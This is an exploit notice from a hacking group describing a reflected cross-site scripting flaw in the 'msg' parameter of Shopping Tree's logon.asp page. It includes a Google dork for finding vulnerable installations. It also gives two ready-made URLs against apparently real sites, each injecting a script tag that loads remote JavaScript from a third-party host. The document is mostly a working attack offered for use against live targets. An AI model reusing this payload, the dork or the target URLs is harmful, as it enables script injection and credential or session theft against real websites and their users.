########################################################################################################################################### # Exploit Title: Shopping Tree Cross Site Scripting # Google Dork: "Shopping Tree, Inc" # Date: 14/08/2012 # Author: Iranian_Dark_Coders_Team # Discovered By : Nafsh # Site : http://idc-team.net/ # Software Link: http://www.shoppingtree.com ########################################################################################################################################## # Bug : /logon.asp?msg= [Xss] ########################################################################################################################################### # Example : # # http://www.refuah.co.il/admin/logon.asp?msg=%22%3E%3Cscript%20src%3d//santanafest.com.br/enquete/c%3E%3C/script%3E # www.islam1.co/hatahet1/logon.asp?msg=%22%3E%3Cscript%20src%3d//santanafest.com.br/enquete/c%3E%3C/script%3E ########################################################################################################################################### # Special Thanks To : All Of IDC-Team Members ###########################################################################################################################################